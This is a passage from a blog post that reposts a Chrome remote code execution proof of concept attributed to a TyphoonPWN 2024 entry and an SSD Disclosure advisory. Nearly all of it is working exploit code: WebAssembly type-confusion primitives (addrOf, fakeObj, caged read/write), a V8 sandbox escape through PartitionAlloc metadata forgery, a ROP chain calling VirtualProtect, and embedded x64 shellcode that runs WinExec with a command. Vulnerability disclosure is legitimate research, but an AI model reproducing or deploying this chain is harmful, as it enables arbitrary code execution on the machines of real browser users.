              abs.push(new ArrayBuffer(0x40));
            }
            new DataView(abs[0]).setBigUint64(0, 0x1337c0de1337da7an, false);
    
            const ab = new ArrayBuffer(0x20000);
            new DataView(ab).setBigUint64(0, 0xdeadbeefcafebaben, false);
            /*for (let i = 0; i < 0x180000 / 0x20000; i++) {
            nogc.push(new ArrayBuffer(0x20000));
        }*/
    
            // WinExec(sc+sc.len, 1)
            const sc = [
              0x48, 0x83, 0xec, 0x08, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec,
              0x20, 0xe8, 0x44, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20,
              0x48, 0x8d, 0x15, 0xed, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24,
              0x20, 0xe8, 0x4a, 0x00, 0x00, 0x00, 0xba, 0x01, 0x00, 0x00, 0x00,
              0x48, 0x8d, 0x0d, 0xe5, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8d,
              0x15, 0xd6, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0xe8,
              0x2b, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0xb9, 0xff, 0xff, 0xff,
              0xff, 0xff, 0xd0, 0x48, 0x89, 0xd8, 0xeb, 0xf4, 0x65, 0x48, 0x8b,
              0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x40, 0x18, 0x48,
              0x8b, 0x40, 0x20, 0x48, 0x8b, 0x00, 0x48, 0x8b, 0x00, 0x48, 0x8b,
              0x40, 0x20, 0xc3, 0x53, 0x57, 0x56, 0x41, 0x50, 0x48, 0x89, 0x4c,
              0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x30, 0x8b, 0x59, 0x3c, 0x48,
              0x01, 0xcb, 0x8b, 0x9b, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01, 0xcb,
              0x44, 0x8b, 0x43, 0x18, 0x8b, 0x7b, 0x20, 0x48, 0x01, 0xcf, 0x48,
              0x31, 0xf6, 0x48, 0x31, 0xc0, 0x4c, 0x39, 0xc6, 0x73, 0x43, 0x8b,
              0x0c, 0xb7, 0x48, 0x03, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0x54, 0x24,
              0x30, 0x48, 0x83, 0xec, 0x28, 0xe8, 0x33, 0x00, 0x00, 0x00, 0x48,
              0x83, 0xc4, 0x28, 0x48, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x31, 0xc0,
              0x48, 0xff, 0xc6, 0xeb, 0xd4, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x8b,
              0x7b, 0x24, 0x48, 0x01, 0xcf, 0x48, 0x0f, 0xb7, 0x34, 0x77, 0x8b,
              0x7b, 0x1c, 0x48, 0x01, 0xcf, 0x8b, 0x04, 0xb7, 0x48, 0x01, 0xc8,
              0x41, 0x58, 0x5e, 0x5f, 0x5b, 0xc3, 0x53, 0x8a, 0x01, 0x8a, 0x1a,
              0x84, 0xc0, 0x74, 0x0c, 0x38, 0xd8, 0x75, 0x08, 0x48, 0xff, 0xc1,
              0x48, 0xff, 0xc2, 0xeb, 0xec, 0x28, 0xd8, 0x48, 0x0f, 0xbe, 0xc0,
              0x5b, 0xc3, 0x57, 0x69, 0x6e, 0x45, 0x78, 0x65, 0x63, 0x00, 0x53,
              0x6c, 0x65, 0x65, 0x70, 0x00,
            ];
            cmd =
              'cmd /c "title Pwned! & echo \x1b[4;97mPwned by Seunghyun Lee (Xion, @0x10n), for TyphoonPWN 2024\x1b[0m & echo \x1b[5;96m & echo    /$$$$$$$  /$$      /$$ /$$   /$$ /$$$$$$$$ /$$$$$$$  /$$ & echo   ^| $$__  $$^| $$  /$ ^| $$^| $$$ ^| $$^| $$_____/^| $$__  $$^| $$ & echo   ^| $$  \\ $$^| $$ /$$$^| $$^| $$$$^| $$^| $$      ^| $$  \\ $$^| $$ & echo   ^| $$$$$$$/^| $$/$$ $$ $$^| $$ $$ $$^| $$$$$   ^| $$  ^| $$^| $$ & echo   ^| $$____/ ^| $$$$_  $$$$^| $$  $$$$^| $$__/   ^| $$  ^| $$^|__/ & echo   ^| $$      ^| $$$/ \\  $$$^| $$\\  $$$^| $$      ^| $$  ^| $$     & echo   ^| $$      ^| $$/   \\  $$^| $$ \\  $$^| $$$$$$$$^| $$$$$$$/ /$$ & echo   ^|__/      ^|__/     \\__/^|__/  \\__/^|________/^|_______/ ^|__/ & echo \x1b[0m & cmd"';
            for (let i = 0; i < cmd.length; i++) {
              sc.push(cmd.charCodeAt(i));
            }
            sc.push(0x00);
    
            // prevent isorecursive group canonicalization merge
            function encodeTag(val, bitlen = 33) {
              return val
                .toString(2)
                .padStart(bitlen, "0")
                .split("")
                .reverse()
                .map((v) =>
                  v === "0" ? makeField(kWasmI32, true) : makeField(kWasmI64, true)
                );
            }
    
            let reserveCtr = 0;
            function reserve(cnt) {
              const builder = new WasmModuleBuilder();
              builder.startRecGroup();
              builder.addStruct(encodeTag(++reserveCtr));
              for (let i = 0; i < cnt - 2; i++) {
                builder.addArray(kWasmI64);
                //builder.addType(kSig_v_v);
                //builder.addStruct([makeField(kWasmI64, true)]);
              }
              builder.addStruct([], cnt - 1); // self-ref -> err, halt wasm comp
              builder.endRecGroup();
              const buf = builder.toBuffer();
              try {
                const _ = new WebAssembly.Module(buf);
                console.log("no crash?????", reserveCtr);
              } catch (e) {
                if (e.toString().includes("forward-declared supertype")) {
                  console.log(
                    "[*] Reserved " + cnt + " isorecursive canonical type ids"
                  );
                } else {
                  console.log("caught wrong exc???", e, reserveCtr);
                }
              }
            }
    
            /*
            kFunc = kV8MaxWasmTypes,  // shorthand: c / 1000000
            kEq,                      // shorthand: q / 1000001
            kI31,                     // shorthand: j / 1000002
            kStruct,                  // shorthand: o / 1000003
            kArray,                   // shorthand: g / 1000004
            kAny,                     //              / 1000005 <- any (which is actually a struct) -> type
            kExtern,                  // shorthand: a./ 1000006
        */
    
            // R: int -> int* + read
            // W: int -> int* + write
            // addrOf: externref -> int
            // fakeObj: int -> externref
    
            // kNumberOfPredefinedTypes = 2
            reserve(1000000 - 2);
            reserve(0x100000 - 1000000);
            await sleep();
    
            // this two lines can be repeated (filling 20bits)
            //reserve(1000000);
            //reserve(0x100000 - 1000000);
    
            // 1. create any -> int casting functions
            reserve(1000000);
            reserve(5);
            {
              let builder = new WasmModuleBuilder();
              builder.startRecGroup();
              let struct = builder.addStruct([
                makeField(kWasmI32, true),
                makeField(kWasmI32, true),
              ]); // 1000005 (kAny)
              let funcSig = builder.addType(
                makeSig([wasmRefType(struct), kWasmI32], [kWasmI32])
              ); // 1000006
              let funcSig2 = builder.addType(makeSig([], [wasmRefType(struct)])); // 1000007
              builder.addStruct(encodeTag(0x133370000)); // 1000008
              builder.endRecGroup();
              builder
                .addFunction("i_init", funcSig2)
                .addBody([
                  kExprI32Const,
                  0,
                  kExprI32Const,
                  0,
                  kGCPrefix,
                  kExprStructNew,
                  struct,
                ])
                .exportFunc();
    
              builder
                .addFunction("i_get0", funcSig)
                .addBody([
                  kExprLocalGet,
                  0,
                  kGCPrefix,
                  kExprStructGet,
                  struct,
                  ...wasmUnsignedLeb(0),
                ])
                .exportFunc();
    
              builder
                .addFunction("i_get1", funcSig)
                .addBody([
                  kExprLocalGet,
                  0,
                  kGCPrefix,
                  kExprStructGet,
                  struct,
                  ...wasmUnsignedLeb(1),
                ])
                .exportFunc();
    
              builder
                .addFunction("i_set0", funcSig)
                .addBody([
                  kExprLocalGet,
                  0,
                  kExprLocalGet,
                  1,
                  kGCPrefix,
                  kExprStructSet,
                  struct,
                  ...wasmUnsignedLeb(0),
                  kExprLocalGet,
                  1,
                ])
                .exportFunc();
    
              builder
                .addFunction("i_set1", funcSig)
                .addBody([
                  kExprLocalGet,
                  0,
                  kExprLocalGet,
                  1,
                  kGCPrefix,
                  kExprStructSet,
                  struct,
                  ...wasmUnsignedLeb(1),
                  kExprLocalGet,
                  1,
                ])
                .exportFunc();
    
              let instance = builder.instantiate();
              let wasm = instance.exports;
    
              i_init = wasm.i_init; // void -> struct {int, int}
              i_get0 = (v) => wasm.i_get0(v, 0); // any -> int (ofs 0)
              i_get1 = (v) => wasm.i_get1(v, 0); // any -> int (ofs 4)
              i_set0 = wasm.i_set0; // any, int -> void (ofs 0)
              i_set1 = wasm.i_set1; // any, int -> void (ofs 4)
            }
            reserve(0x100000 - 1000008);
            await sleep();
    
            // 2. create any -> int* casting read/write functions
            reserve(1000000);
            reserve(3);
            {
              let builder = new WasmModuleBuilder();
              builder.startRecGroup();
              let oneRef = builder.addStruct([makeField(kWasmI32, true)]); // 1000003, 1000004?
              let struct = builder.addStruct([
                makeField(wasmRefType(oneRef), false),
              ]); // 1000005 (kAny), 1000006?
              let funcSig = builder.addType(
                makeSig([wasmRefType(struct), kWasmI32], [kWasmI32])
              ); // 1000007
              builder.addStruct(encodeTag(0x133370001)); // 1000008
              builder.endRecGroup();
    
              builder
                .addFunction("ip_read", funcSig)
                .addBody([
                  kExprLocalGet,
                  0,
                  kGCPrefix,
                  kExprStructGet,
                  struct,
                  ...wasmUnsignedLeb(0), // oneRef = struct->oneRef
                  kGCPrefix,
                  kExprStructGet,
                  oneRef,
                  ...wasmUnsignedLeb(0), // i32 = oneRef->i32
                ])
                .exportFunc();
    
              builder
                .addFunction("ip_write", funcSig)
                .addBody([
                  kExprLocalGet,
                  0,
                  kGCPrefix,
                  kExprStructGet,
                  struct,
                  ...wasmUnsignedLeb(0), // oneRef = struct->oneRef
                  kExprLocalGet,
                  1,
                  kGCPrefix,
                  kExprStructSet,
                  oneRef,
                  ...wasmUnsignedLeb(0), // oneRef->i32 = val
                  kExprLocalGet,
                  1,
                ])
                .exportFunc();
    
              let instance = builder.instantiate();
              let wasm = instance.exports;
    
              ip_read = (v) => wasm.ip_read(v, 0); // any -> int (ofs 0)
              ip_write = wasm.ip_write; // any, int -> void (ofs 0)
            }
            reserve(0x100000 - 1000008);
            await sleep();
    
            // 3. create any -> externref casting functions
            const externRefDummy = {};
            reserve(1000000);
            reserve(5);
            {
              let builder = new WasmModuleBuilder();
              builder.startRecGroup();
              let struct = builder.addStruct([makeField(kWasmExternRef, true)]); // 1000005 (kAny)
              let funcSig = builder.addType(
                makeSig([wasmRefType(struct), kWasmExternRef], [kWasmExternRef])
              ); // 1000006
              let funcSig2 = builder.addType(
                makeSig([kWasmExternRef], [wasmRefType(struct)])
              ); // 1000007
              builder.addStruct(encodeTag(0x133370000)); // 1000008
              builder.endRecGroup();
              builder
                .addFunction("e_init", funcSig2)
                .addBody([kExprLocalGet, 0, kGCPrefix, kExprStructNew, struct])
                .exportFunc();
    
              builder
                .addFunction("e_get", funcSig)
                .addBody([
                  kExprLocalGet,
                  0,
                  kGCPrefix,
                  kExprStructGet,
                  struct,
                  ...wasmUnsignedLeb(0),
                ])
                .exportFunc();
    
              builder
                .addFunction("e_set", funcSig)
                .addBody([
                  kExprLocalGet,
                  0,
                  kExprLocalGet,
                  1,
                  kGCPrefix,
                  kExprStructSet,
                  struct,
                  ...wasmUnsignedLeb(0),
                  kExprLocalGet,
                  1,
                ])
                .exportFunc();
    
              let instance = builder.instantiate();
              let wasm = instance.exports;
    
              e_init = () => wasm.e_init(externRefDummy); // void -> struct {externref}
              e_get = (v) => wasm.e_get(v, externRefDummy); // any -> externref (ofs 0)
              e_set = wasm.e_set; // any, externref -> void (ofs 0)
            }
            reserve(0x100000 - 1000008);
            await sleep();
    
            const E = e_init();
            const I = i_init();
            const arr = [1.1, 2.2, 0x101, 0x202, 0x2345678];
    
            const conv_ab = new ArrayBuffer(8);
            const conv_dv = new DataView(conv_ab);
    
            function i2u32(val) {
              conv_dv.setInt32(0, val, true);
              return conv_dv.getUint32(0, true);
            }
            function u2i32(val) {
              conv_dv.setUint32(0, val, true);
              return conv_dv.getInt32(0, true);
            }
            function caged_read(ofs) {
              i_set0(I, ofs - 7);
              return i2u32(ip_read(I));
            }
            function caged_write(ofs, val) {
              i_set0(I, ofs - 7);
              ip_write(I, u2i32(val));
            }
            function addrOf(obj) {
              e_set(E, obj);
              return i2u32(i_get0(E));
            }
            function fakeObj(ofs) {
              i_set0(ofs);
              return e_get(E);
            }
    
            const ab_addr = addrOf(ab);
            /*for (let i = 0; i < 0x30; i++) {
            console.log(i.toString(16), caged_read(ab_addr + i).toString(16));
        }*/
    
            // length overwrite
            caged_write(ab_addr + 0x16, 0x200000 << 5);
            caged_write(ab_addr + 0x1e, 0x200000 << 5);
    
            // offset overwrite (to zero!)
            caged_write(ab_addr + 0x26, 0); // 0x00014000 -> 0
    
            const dv = new DataView(ab);
    
            /*for (let i = 0x80; i < 0xa0; i += 8) {
            console.log(i.toString(16).padStart(3, '0'), dv.getBigUint64(0x1000 + i, true).toString(16));
        }
    
        for (let i = 0; i < 8; i++) {
            const ofs = 0x10000 + i * 0x1000;
            console.log(ofs.toString(16).padStart(3, '0'), dv.getBigUint64(ofs, true).toString(16));
            await sleep();
        }*/
    
            const chrome_leak = dv.getBigUint64(0x1090, true);
            const ab_pa_leak = dv.getBigUint64(0x1080, true); // assert &0x1fffff == 0x13fc0
            const ab_partition_base = ab_pa_leak & ~0x1ffffn;
    
            console.log("[+] chrome_leak:", chrome_leak.toString(16));
            console.log("[+] ab_pa_leak:", ab_pa_leak.toString(16));
    
            checkUA(chrome_leak);
            const chrome_base = chrome_leak - base_leak_ofs;
            console.log("[+] chrome_base:", chrome_base.toString(16));
            console.log("[*] ab_partition_base:", ab_partition_base.toString(16));
            await sleep();
    
            // sbx escape via metadata->bucket forgery:
            //   1. bucket->active_slot_spans_head = metadata => arbitrary address, known value write
            //   2. --bucket->num_full_slot_spans
            //   (constraints for both: bucket->num_full_slot_spans > 0)
            // ...and many more
            // use it to overwrite Sandbox size
            dv.setBigUint64(
              0x1090,
              chrome_base + base_tgt_ofs + 0x28n + 0x2n,
              true
            ); // size = base << (2 * 8), covers all 64bit canonical addressing space
            dv.setBigUint64(0x1098, dv.getBigUint64(0x1098, true) | 1n, true);
            abs[absctr++].transfer(0);
            console.log("[+] Sandbox size overwritten");
            //dv.setBigUint64(0x1088, 0n, true);
            await sleep();
    
            /*for (let i = 0x60; i < 0xa0; i += 8) {
            console.log(i.toString(16).padStart(3, '0'), dv.getBigUint64(0x1000 + i, true).toString(16));
        }*/
    
            // shellcode: [0x14000, 0x16000)
            // ropchain: 0x1e000
            // lpflOldProtect: 0x1eff0
            // vtable: [0x1f000, 0x20000)
            // scratchpad for fake bucket: [0x20000, +sizeof(bucket))
            // scratchpad for opt: [0x21000, ...)
            for (let i = 0; i < sc.length; i++) {
              dv.setUint8(0x14000 + i, sc[i]);
            }
    
            // VirtualProtect(base+0x10000, 0xf0000, PAGE_EXECUTE_READ, lpflOldProtect)
            function set_rop(ofs, val) {
              dv.setBigUint64(0x1e000 + ofs, val, true);
            }
            set_rop(0x0, chrome_base + pop_gadget);
            set_rop(0x8, ab_partition_base + 0x14000n); // rcx
            set_rop(0x10, 0x2000n); // rdx
            set_rop(0x18, 0x20n); // r8 = PAGE_EXECUTE_READ
            set_rop(0x20, ab_partition_base + 0x1eff0n); // r9 = lpflOldProtect
            set_rop(0x28, 0n); // r10
            set_rop(0x30, chrome_base + prax_ret);
            set_rop(0x38, chrome_base + virtualprotect_iat_ofs); // rax = &kernel32.VirtualProtect
            set_rop(0x40, chrome_base + jmp_drax); // jmp qword ptr [rax]
            set_rop(0x48, ab_partition_base + 0x14000n); // shellcode
    
            for (let i = 0; i < 0x1000; i += 0x10) {
              dv.setBigUint64(
                0x1f000 + i,
                (chrome_base + vtable_gadget) ^ fptr_xor,
                true
              );
              //dv.setBigUint64(0x1f000 + i, 0xdeadbeefcafe0000n + BigInt(i / 0x10), true);
            }
    
            console.log("[+] shellcode / ropchain / vtable init complete");
    
            // helper function to recursively zero out a memory region via primitive #1 (two top zero bytes), with collateral damage to [base-6, base) and [base+0x17, base+len+0x1f)
            // ! WARNING ! caller must assert PA_CHECK(bucket->num_full_slot_spans) for all strides (descending from len - 2 by stride 2)
            // use only for small len (under 0x16) as it will eventually overwrite itself
            function zero_out(base, len, stride = 2) {
              for (let ofs = len - 2; ofs >= 0; ofs -= stride) {
                dv.setBigUint64(0x1090, base + BigInt(ofs) - 6n, true);
                dv.setBigUint64(0x1098, dv.getBigUint64(0x1098, true) | 1n, true); // meta->marked_full = 1
                abs[absctr++].transfer(0);
              }
            }
    
            // helper function for arbitrary addr & value write
            // caller must assert nullity of [target-8], [target], [target+0x10]
            function arb_write(target, value) {
              // save current freelist_head
              const freelist_head_orig = dv.getBigUint64(0x1080, true);
              dv.setBigUint64(0x1080, ab_partition_base + 0x10000n, true); // meta->freelist_head = non-null
    
              const new_bitfield =
                (dv.getBigUint64(0x1098, true) & ~((1n << 14n) - 1n)) | 2n;
              dv.setBigUint64(0x1088, target - 8n, true); // meta->next_slot_span = target - 8
              dv.setBigUint64(0x1090, ab_partition_base + 0x20000n, true); // meta->bucket = bucket
              dv.setBigUint64(0x1098, new_bitfield, true); // meta->marked_full = 0, meta->num_allocated_slots = 1
              dv.setBigUint64(0x20000, ab_partition_base + 0x1080n, true); // bucket->active_slot_spans_head = meta
              dv.setBigUint64(0x20000 + 0x10, value, true); // bucket->decomitted_slot_spans_head = value
              dv.setUint32(0x20000 + 0x1c, 1, true); // bucket->num_system_pages_per_slot_span = 1 (avoid PartitionDirectUnmap())
    
              abs[absctr++].transfer(0);
    
              dv.setBigUint64(
                0x1098,
                (dv.getBigUint64(0x1098, true) & ~((1n << 14n) - 1n)) |
                  (0x300n << 1n),
                true
              ); // meta->marked_full = 0, meta->num_allocated_slots = 0x300
              dv.setBigUint64(0x1080, freelist_head_orig, true); // meta->freelist_head = original
            }
    
            // DEBUG: pre-opt zero_out() & arb_write()
            console.log("[*] DEBUG: pre-opt");
            dv.setBigUint64(0x21018, (1n << 64n) - 1n, true);
            for (let i = 0; i < 50; i++) {
              zero_out(ab_partition_base + 0x21000n, 2);
            }
            dv.setBigUint64(0x21000, 0n, true);
            dv.setBigUint64(0x21008, 0n, true);
            dv.setBigUint64(0x21018, 0n, true);
            for (let i = 0; i < 50; i++) {
              arb_write(ab_partition_base + 0x21008n, 0xdeadbeefcafebaben);
              dv.setBigUint64(0x21008, 0n, true);
            }
            await sleep(100);
    
            const trigger = sleep(1500);
            console.log("[*] sleeping 1000ms...");
            await sleep(1000);
    
            // set ropchain addr (ab_partition_base + 0x1e000n)
            // all zeros, use sbx primitive #2
            console.log("[*] target write prepare (ropchain addr)");
            arb_write(chrome_base + vtable_rax, ab_partition_base + 0x1e000n);
            console.log("[*] target write success (ropchain addr)");
    
            // set vtable pivot gadget
            // surrounded with pointers into chrome.dll, use #1 + #2
            // ordering is super important!!
            console.log("[*] target write prepare (pivot gadget)");
            zero_out(chrome_base + vtable_call_base, 6); // [0, 6)       / [-6, 0), [0x17, 0x25)
            zero_out(chrome_base + vtable_call_base - 8n, 8); // [-8, 0)      / [...), [0x11, 0x1f)
            zero_out(chrome_base + vtable_call_base + 0x10n, 8); // [0x10, 0x18) / [8, 0x10), [...)
            arb_write(chrome_base + vtable_call_base, chrome_base + pivot_gadget);
            console.log("[*] target write success (pivot gadget)");
    
            // overwrite CodePointerTable
            console.log("[*] target write (CPT)");
            console.log("[*] expect shell after 500ms!");
            zero_out(chrome_base + base_tgt_ofs - 8n, 8 + 6, 1); // pulls down from Sandbox base, stride=1 just in case
            // pulls down from Sandbox size, stride=1 just in case
            // lower 2byte 0, upper 2byte non-zero to prevent some weird resetting logic (zeros actually come from bytes index 2~3 from SlotSpanMetadata instead of the top two 6~7)
            zero_out(chrome_base + base_tgt_ofs + 0x10n + 0x4n, 4, 1);
            arb_write(
              chrome_base + base_tgt_ofs,
              ab_partition_base + 0x1f000n - 0x10000n
            ); // fake CPT, i.e. "vtable" (vtable starts at 0x1f000, offset 0x103d0 -> translate to 0x1f3d0)
            //console.log('[*] target write success (CPT)');
    
            // trigger through CPT call (await isn't strictly needed, it triggers itself on timeout)
            await trigger;
    
            // DEBUG: crash
            //caged_write(0xfffffff0, 0xdeadc0d3);
          }
    
          window.onload = exp;
        </script>
      </body>
    </html>
    <!-- poc.html -->
    <script src="wasm-module-builder.js"></script>
    <script src="poc.js"></script>
    From: https://ssd-disclosure.com/ssd-advisory-google-chrome-rce/

文章作者: 你的朋友
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 你的朋友 !
 上一篇
修复 chrome 打不开第三方应用内链接 修复 chrome 打不开第三方应用内链接
默认浏览器为 Chrome 时打不开第三方应用内链接(点击没有反应)
2024-09-03
下一篇 
VMware安装Win10后一直蓝屏重启,终止代码UNSUPPORTED PROCESSOR VMware安装Win10后一直蓝屏重启,终止代码UNSUPPORTED PROCESSOR
VMware客户机操作系统的安装会中止,并出现绿屏(或蓝屏)和错误消息 UNSUPPORTED_PROCESSOR。原因似乎是 Microsoft 对 Hyper-V 进行了修改。
2024-08-27